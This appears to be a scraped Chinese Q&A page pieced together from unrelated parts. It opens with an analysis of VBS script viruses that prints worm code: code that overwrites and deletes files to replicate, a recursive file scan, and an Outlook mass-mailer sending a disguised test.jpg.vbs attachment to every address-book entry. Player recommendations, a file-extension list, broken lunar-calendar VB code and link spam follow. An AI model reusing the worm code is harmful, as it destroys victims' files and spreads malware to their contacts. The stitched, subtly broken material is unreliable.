5.病毒源码容易被获取,变种多。由于VBS病毒解释执行,其源代码可读性非常强,即使病毒源码经过加密处理后,其源代码的获取还是比较简单。因此,这类病毒变种比较多,稍微改变一下病毒的结构,或者修改一下特征值,很多杀毒软件可能就无能为力。
6.欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬如,邮件的附件名采用双后缀,如.jpg.vbs,由于系统默认不显示后缀,这样,用户看到这个文件的时候,就会认为它是一个jpg图片文件。
7.使得病毒生产机实现起来非常容易。所谓病毒生产机,就是可以按照用户的意愿,生产病毒的机器(当然,这里指的是程序),目前的病毒生产机,之所以大多数都为脚本病毒生产机,其中最重要的一点还是因为脚本是解释执行的,实现起来非常容易,具体将在我们后面谈及。
正因为以上几个特点,脚本病毒发展异常迅猛,特别是病毒生产机的出现,使得生成新型脚本病毒变得非常容易。

二、Vbs脚本病毒原理分析
1.vbs脚本病毒如何感染、搜索文件
VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理:
以下是文件感染的部分关键代码:
Set fso=createobject("scripting.filesystemobject") '创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1) '读打开当前文件(即病毒本身)
vbs=self.readall ' 读取病毒全部代码到字符串变量vbs……
set ap=fso.opentextfile(目标文件.path,2,true) ' 写打开目标文件,准备写入病毒代码
ap.write vbs ' 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path) '得到目标文件路径
cop.(目标文件.path & ".vbs") ' 创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true) '删除目标文件
上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbs,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。
下面我们具体分析一下文件搜索代码:
'该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本
sub scan(folder_) 'scan函数定义,
on error resume next '如果出现错误,直接跳过,防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp5" then '如果后缀名是mp5,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名 ,以免破坏正常程序。
Wscript.echo (file)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录;递归调用
scan( )
scan(subfolder)
next
end sub
上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。

2.vbs脚本病毒通过网络传播的几种方式及代码分析
VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:
1)通过Email附件传播
这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application") //创建一个OUTLOOK应用的对象
If outlookApp= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI") //获取MAPI的名字空间
Set addrList= mapiObj.AddressLists //获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount //遍历地址表的Email地址
Set item = outlookApp.CreateItem(0) //获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex) //获取具体Email地址
item.To = addrEnt.Address //填入收信人地址 item.Subject = "病毒传播实验" //写入邮件标题
item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!" //写入文件内容
Set attachMents=item.Attachments //定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
item.DeleteAfterSubmit = True //信件提交后自动删除
If item.To <> "" Then
item.Send //发送邮件
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒标记,以免重复感染
End If
Next
End If
Next
End if
End Function

太多了~你能不能自己去看?网络发不来~还有250分
http://topic.csdn.net/t/20040717/09/3183195.html

F. 最好的播放器十大排名

1、PotPlayer

视频播放器排行榜.上PotPlayer基本都会上榜,是无数人心中最好用的播放器,是-款多格式视频播放工具 ,拥有强大的内置解码器用于解码播放,支持帧定位,几乎可以播放所有格式的视频,解码功能很出色,启动速度和播放速度都非常快,并且无需额外的转码和设置,同时还可以加载直播源,支持自定义皮肤。

G. 文件格式分类

arc 压缩文件,pkarc的压缩文件.
arj 压缩文件asc 任何地方 无格式的文本文件,只含有文本.
asm masm,tasm 汇编语言程序,
asx mp3 列表文件,mp3 playlist(mp3播放文件列表文件)
avi 多媒体(游戏)中 动画文件,(Audio Video Interface)微软标准动画文件, bak 任何地方 备份文件,
bas basica,qbasic basic语言程序,
bat 任何地方 批处理文件,
bgi Borland公司的图形界面文件,
bin (Binary)dos的二进制文件,
bmp 任何地方 图形文件,位图文件,分灰度,256色,和真彩

c tubro c c语言程序,
cab 微软软件 压缩软件,
cda cd碟 cd文件,
cfg 任何地方 配置文件,
chk 由chkdsk.exe产生的文件,
cmf 音乐文件,(Creative Music File)Creative公司的音乐文件,
com 任何地方 可执行文件,
cpl windows 控制面板文件,
cpp c++ c++语言程序,
dat 任何地方 二进制数据文件, 字串4
dat vcd光盘 vcd文件,
dat 游戏中 存档文件,如果游戏存盘退出后用dir/os显示的最后一文件是
dat,那么它就有可能是存盘文件。
dbf Foxbase dBase,Foxbase等的标准数据库文件,
ddi 压缩文件,diskpe的压缩文件,可由hd-还原
dll windows\system (Dynamic Linked Libraty)Windows动态链接库
doc word 文本文件,(Document)Windows Word 文档
drv (Drive)驱动程序
dsm mod 文件
eps PostScript所用的格式
exe 任何地方 可执行文件,
fli 动画文件,Auto Desk公司的动画文件,
fmt foxbase 格式文件,Foxbase中系统给用户提供的编写各种不同格式的文件,
fnt windows 字体文件,(Font)Windows的字体文件,
fox foxbase 程序文件,foxbase编译过的*.prg程序文件
frm Visual Basic VB系列的Form窗体文件,
frm Foxbase 报表格式文件,Foxbase中的报表格式文件
frm 注册文件,
fxp Foxpro 程序文件,Foxpro编译过的*.prg程序文件
gb 网上常见 文本文件,gb格式的文本
gif 网上常见 图形文件,有256色,真彩,gif89等,
h tubro c c语言所需要的include的头文件,
hlp 任何地方 帮助文件,
hpp c++ c++的头文件
htm internet 超文本文件,
icn windows 图标文件,windows的图标文件(Icon)
ico windows 图标文件,windows的图标文件(Icon)
idx Foxbase 索引文件,
idxe Foxbase 索引文件,
iff 图形文件,AMIGAIFF格式文件
img 磁盘镜像文件,由hd-还原
ini 任何地方 (Initial)初始化文件,
ins 音色文件,Creative公司的音色文件,
it Impulse Tracker moles(应该是一种声音文件)
izh 压缩文件,由lha解压
jpg 任何地方 图形文件,依照jpeg压缩规格的图形文件,
lbl Foxbase 标签文件,
lbm 图形文件,
m3u mp3 列表文件,mp3 playlist(mp3播放文件列表文件)
mbd Office 表格文件,Access的表格文件,
mem Foxbase 内存变量文件,用来存放内存变量的文件
mid 任何地方 midi文件,
midi 任何地方midi文件,
mlv vcd mpeg文件,
mod mod文件,protracker moles
mov 多媒体中 动画文件,压缩率极大的格式
mp2 声音文件,压缩率极大的格式
mp3 mp3 声音文件,压缩率极大的格式
mpe vcd mpeg文件,
mpeg vcd mpeg文件,
mpg vcd mpeg文件,
mpv vcd mpeg文件,
ndx Foxbase 索引文件,
obj 编程语言中 目标文件(Object)
pas pascal pascal语言程序,
pbc 分布式程序库,
pbd 动态运行程序,
pbm 图形文件,
pbr 资源文件,
pcx 任何地方 图形文件,
pgm 图形文件,
pif windows (Program Information File)Windows执行dos程序的资讯文件, 字串1
pls mp3 列表文件,mp3 playlist(mp3播放文件列表文件)
png 图形文件,
prg Foxbase 程序文件,Foxbase的程序文件
pwl win95,windows\*.pwl 口令文件,删除后可取消windows开机用户口令
qid 线导文件,
reg 注册表的备份文件,
rle 图形文件,
s3m Screamtracker Moles(应该也是一种声音文件)
scr windows 屏幕保护程序,
stm Screamtracker Moles(应该也是一种声音文件)
sys 任何地方 设备驱动程序(系统文件) 这类文件含有关于硬件的说明.
tga 图形文件,
tif 图形文件,
tmp 几乎任何地方,temp\*.tmp 临时文件,非正常退出时产生的临时文件,可删除
vol 任何地方 声音文件,
wav 任何地方, 声音文件,
wmf 图形文件,
wps wps中,ucdos\*.wps wps 文件,记录文本,表格 字串4
wri 文本文件,Windows书写器文件
xls Office 表格文件,Excel的表格文件,
xm extended moles(应该也是一种声音文件)
zip 任何地方 压缩文件,
文档文件 txt(所有文字处理软件或编辑器都可打开)、doc(word及wps等软件可打开)、hlp(adobe acrobat reader可打开)、wps(wps软件可打开)、rtf(word及wps等软件可打开)、htm(各种浏览器可打开、用写字板打开可查看其源代码)、pdf(adobe acrobat reader 和各种电子阅读软件可打开)
压缩文件 rar(winrar可打开)、zip(winzip可打开)、arj(用arj解压缩后可打开)、gz(unix系统的压缩文件,用winzip可打开)、z(unix系统的压缩文件,用winzip可打开)
图形文件 bmp、gif、jpg、pic、png、tif(这些文件类型用常用图像处理软件可打开) 字串7 声音文件 wav(媒本播放器可打开)、aif(常用声音处理软件可打开)、au(常用声音处理软件可打开)、mp3(由winamp播放)、ram(由realplayer播放)
动画文件 avi(常用动画处理软件可播放)、mpg(由vmpeg播放)、mov(由activemovie播放)、swf(用flash自带的players程序可播放)
系统文件 int、sys、dll、adt
可执行文件 exe、com
语言文件 c、asm、for、lib、lst、msg、obj、pas、wki、bas
映像文件 map (其每一行都定义了一个图像区域以及当该区域被触发后应返回的url信息)
备份文件 bak(被自动或是通过命令创建的辅助文件,它包含某个文件的最近一个版本)
临时文件 $ $ $(word、excel等软件在操作时会产生此类文件)
模板文件 dot(通过word模板可以简化一些常用格式文档的创建工作)
批处理文件 bat(在ms-dos中,bat文件是可执行文件,由一系列命令构成,其中可以包含对其他程序的调用)

H. 我问朋友有什么好实用的播放器,朋友推荐我安装影音先锋播放器是什么

有哦有哦😊!

1.首先推荐一款超级简洁的播放器mpv。一般搜不到,只有搜索mpv.io才会出来这家伙的网站。说明一下,这是个开源软件,界面极其简单!简单到什么程度?连菜单都没有!神马调速,音量,快进统统用键盘操作,所以你只有先看说明书才知道怎么用!支持几部影片同时观看!缺点是最新版只支持Win10,旧版才支持Win7,所以要选对版本哦!

下面是MPV的截图:

最后注明:这两款播放器都是PC端播放器!

I. 我想要一个计算生辰八字的vb语言源码

这个是有计算方法的,只要你有计算公式我就可以计算出来的。但是前提你要有计算公式才行。

'公历转农历模块

'// 农历数据定义 //
'先以 H2B 函数还原成长度为 18 的字符串,其定义如下:
'前12个字节代表1-12月:1为大月,0为小月;压缩成十六进制(1-3位)
'第13位为闰月的情况,1为大月30天,0为小月29天;(4位)
'第14位为闰月的月份,如果不是闰月为0,否则给出月份(5位)
'最后4位为当年农历新年的公历日期,如0131代表1月31日;当作数值转十六进制(6-7位)

'农历常量(1899~2100,共202年)
Private Const ylData = "AB500D2,4BD0883," _
& "4AE00DB,A5700D0,54D0581,D2600D8,D9500CC,655147D,56A00D5,9AD00CA,55D027A,4AE00D2," _
& "A5B0682,A4D00DA,D2500CE,D25157E,B5500D6,56A00CC,ADA027B,95B00D3,49717C9,49B00DC," _
& "A4B00D0,B4B0580,6A500D8,6D400CD,AB5147C,2B600D5,95700CA,52F027B,49700D2,6560682," _
& "D4A00D9,EA500CE,6A9157E,5AD00D6,2B600CC,86E137C,92E00D3,C8D1783,C9500DB,D4A00D0," _
& "D8A167F,B5500D7,56A00CD,A5B147D,25D00D5,92D00CA,D2B027A,A9500D2,B550781,6CA00D9," _
& "B5500CE,535157F,4DA00D6,A5B00CB,457037C,52B00D4,A9A0883,E9500DA,6AA00D0,AEA0680," _
& "AB500D7,4B600CD,AAE047D,A5700D5,52600CA,F260379,D9500D1,5B50782,56A00D9,96D00CE," _
& "4DD057F,4AD00D7,A4D00CB,D4D047B,D2500D3,D550883,B5400DA,B6A00CF,95A1680,95B00D8," _
& "49B00CD,A97047D,A4B00D5,B270ACA,6A500DC,6D400D1,AF40681,AB600D9,93700CE,4AF057F," _
& "49700D7,64B00CC,74A037B,EA500D2,6B50883,5AC00DB,AB600CF,96D0580,92E00D8,C9600CD," _
& "D95047C,D4A00D4,DA500C9,755027A,56A00D1,ABB0781,25D00DA,92D00CF,CAB057E,A9500D6," _
& "B4A00CB,BAA047B,B5500D2,55D0983,4BA00DB,A5B00D0,5171680,52B00D8,A9300CD,795047D," _
& "6AA00D4,AD500C9,5B5027A,4B600D2,96E0681,A4E00D9,D2600CE,EA6057E,D5300D5,5AA00CB," _
& "76A037B,96D00D3,4AB0B83,4AD00DB,A4D00D0,D0B1680,D2500D7,D5200CC,DD4057C,B5A00D4," _
& "56D00C9,55B027A,49B00D2,A570782,A4B00D9,AA500CE,B25157E,6D200D6,ADA00CA,4B6137B," _
& "93700D3,49F08C9,49700DB,64B00D0,68A1680,EA500D7,6AA00CC,A6C147C,AAE00D4,92E00CA," _
& "D2E0379,C9600D1,D550781,D4A00D9,DA400CD,5D5057E,56A00D6,A6C00CB,55D047B,52D00D3," _
& "A9B0883,A9500DB,B4A00CF,B6A067F,AD500D7,55A00CD,ABA047C,A5A00D4,52B00CA,B27037A," _
& "69300D1,7330781,6AA00D9,AD500CE,4B5157E,4B600D6,A5700CB,54E047C,D1600D2,E960882," _
& "D5200DA,DAA00CF,6AA167F,56D00D7,4AE00CD,A9D047D,A2D00D4,D1500C9,F250279,D5200D1"

Private Const ylMd0 = "初一初二初三初四初五初六初七初八初九初十十一十二十三十四十五" _
& "十六十七十八十九二十廿一廿二廿三廿四廿五廿六廿七廿八廿九三十 "

Private Const ylMn0 = "正二三四五六七八九十冬腊"
Private Const ylTianGan0 = "甲乙丙丁戊已庚辛壬癸"
Private Const ylDiZhi0 = "子丑寅卯辰巳午未申酉戌亥"
Private Const ylShu0 = "鼠牛虎兔龙蛇马羊猴鸡狗猪"

'公历日期转农历
Function GetYLDate(ByVal strDate As String) As String

On Error GoTo aErr

If Not IsDate(strDate) Then Exit Function

Dim setDate As Date, tYear As Integer, tMonth As Integer, tDay As Integer
setDate = CDate(strDate)
tYear = Year(setDate): tMonth = Month(setDate): tDay = Day(setDate)

'如果不是有效有日期,退出
If tYear > 2100 Or tYear < 1900 Then Exit Function

Dim daList() As String * 18, conDate As Date, thisMonths As String
Dim AddYear As Integer, AddMonth As Integer, AddDay As Integer, getDay As Integer
Dim YLyear As String, YLShuXing As String
Dim dd0 As String, mm0 As String, gan(0 To 59) As String * 2
Dim RunYue As Boolean, RunYue1 As Integer, mDays As Integer, i As Integer

'加载2年内的农历数据
ReDim daList(tYear - 1 To tYear)
daList(tYear - 1) = H2B(Mid(ylData, (tYear - 1900) * 8 + 1, 7))
daList(tYear) = H2B(Mid(ylData, (tYear - 1900 + 1) * 8 + 1, 7))

AddYear = tYear

initYL:

AddMonth = CInt(Mid(daList(AddYear), 15, 2))
AddDay = CInt(Mid(daList(AddYear), 17, 2))
conDate = DateSerial(AddYear, AddMonth, AddDay) '农历新年日期

getDay = DateDiff("d", conDate, setDate) + 1 '相差天数
If getDay < 1 Then AddYear = AddYear - 1: GoTo initYL

thisMonths = Left(daList(AddYear), 14)
RunYue1 = Val("&H" & Right(thisMonths, 1)) '闰月月份
If RunYue1 > 0 Then '有闰月
thisMonths = Left(thisMonths, RunYue1) & Mid(thisMonths, 13, 1) & Mid(thisMonths, RunYue1 + 1)
End If
thisMonths = Left(thisMonths, 13)

For i = 1 To 13 '计算天数
mDays = 29 + CInt(Mid(thisMonths, i, 1))
If getDay > mDays Then
getDay = getDay - mDays
Else
If RunYue1 > 0 Then
If i = RunYue1 + 1 Then RunYue = True
If i > RunYue1 Then i = i - 1
End If

AddMonth = i
AddDay = getDay
Exit For
End If
Next

dd0 = Mid(ylMd0, (AddDay - 1) * 2 + 1, 2)
mm0 = Mid(ylMn0, AddMonth, 1) + "月"

For i = 0 To 59
gan(i) = Mid(ylTianGan0, (i Mod 10) + 1, 1) + Mid(ylDiZhi0, (i Mod 12) + 1, 1)
Next i

YLyear = gan((AddYear - 4) Mod 60)
YLShuXing = Mid(ylShu0, ((AddYear - 4) Mod 12) + 1, 1)
If RunYue Then mm0 = "闰" & mm0

GetYLDate = "农历 " & YLyear & "(" & YLShuXing & ")年" & mm0 & dd0

aErr:

End Function

'农历转公历日期
'secondMonth 为真,则天示当 tMonth 是闰月时,取第二个月
Function GetDate(ByVal tYear As Integer, tMonth As Integer, tDay As Integer, Optional secondMonth As Boolean = False) As String

On Error GoTo aErr

If tYear > 2100 Or tYear < 1899 Or tMonth > 12 Or tMonth < 1 Or tDay > 30 Or tDay < 1 Then Exit Function

Dim thisMonths As String, ylNewYear As Date, toMonth As Integer
Dim mDays As Integer, RunYue1 As Integer, i As Integer
thisMonths = H2B(Mid(ylData, (tYear - 1899) * 8 + 1, 7))

If tDay > 29 + CInt(Mid(thisMonths, tMonth, 1)) Then Exit Function

ylNewYear = DateSerial(tYear, CInt(Mid(thisMonths, 15, 2)), CInt(Mid(thisMonths, 17, 2))) '农历新年日期

thisMonths = Left(thisMonths, 14)
RunYue1 = Val("&H" & Right(thisMonths, 1)) '闰月月份

toMonth = tMonth - 1
If RunYue1 > 0 Then '有闰月
thisMonths = Left(thisMonths, RunYue1) & Mid(thisMonths, 13, 1) & Mid(thisMonths, RunYue1 + 1)
If tMonth > RunYue1 Or (secondMonth And tMonth = RunYue1) Then toMonth = tMonth
End If
thisMonths = Left(thisMonths, 13)

mDays = 0
For i = 1 To toMonth
mDays = mDays + 29 + CInt(Mid(thisMonths, i, 1))
Next
mDays = mDays + tDay

GetDate = ylNewYear + mDays - 1

aErr:

End Function

'将压缩的阴历字符还原
Private Function H2B(ByVal strHex As String) As String
Dim i As Integer, i1 As Integer, tmpV As String
Const hStr = "0123456789ABCDEF"
Const bStr = ""

tmpV = UCase(Left(strHex, 3))

'十六进制转二进制
For i = 1 To Len(tmpV)
i1 = InStr(hStr, Mid(tmpV, i, 1))
H2B = H2B & Mid(bStr, (i1 - 1) * 4 + 1, 4)
Next

H2B = H2B & Mid(strHex, 4, 2)

'十六进制转十进制
H2B = H2B & "0" & CStr(Val("&H" & Right(strHex, 2)))
End Function
Private Sub Command1_Click()
Label1.Caption = GetYLDate(Text1.Text)
End Sub

阅读全文

与mpv源码编译相关的资料

热点内容
c语言求n的阶乘递归算法 浏览:202
服务器未回应是什么原因 浏览:815
缥缈白姬和轩之结局 浏览:593
全球票房在哪里查 浏览:781
宝书网小说 浏览:812
无水印高清电影 浏览:772
拼车夫妇韩国中文 浏览:783
怎么在设置开启app内购买 浏览:335
三个女人在监狱是什么电影曹查理演的 浏览:434
复爱旧仇电影日本 浏览:210
军用压缩饼干和军粮 浏览:596
韩国成人百合电影 浏览:271
戴拿奥特曼客串过的电影 浏览:403
学金融工资高还是学程序员 浏览:528
有一个外国电影大家躲在超市里 浏览:134
60分钟在线观看 浏览:680
营销系统源码有哪些 浏览:543
图片导航网站源码 浏览:737
linux开启终端 浏览:663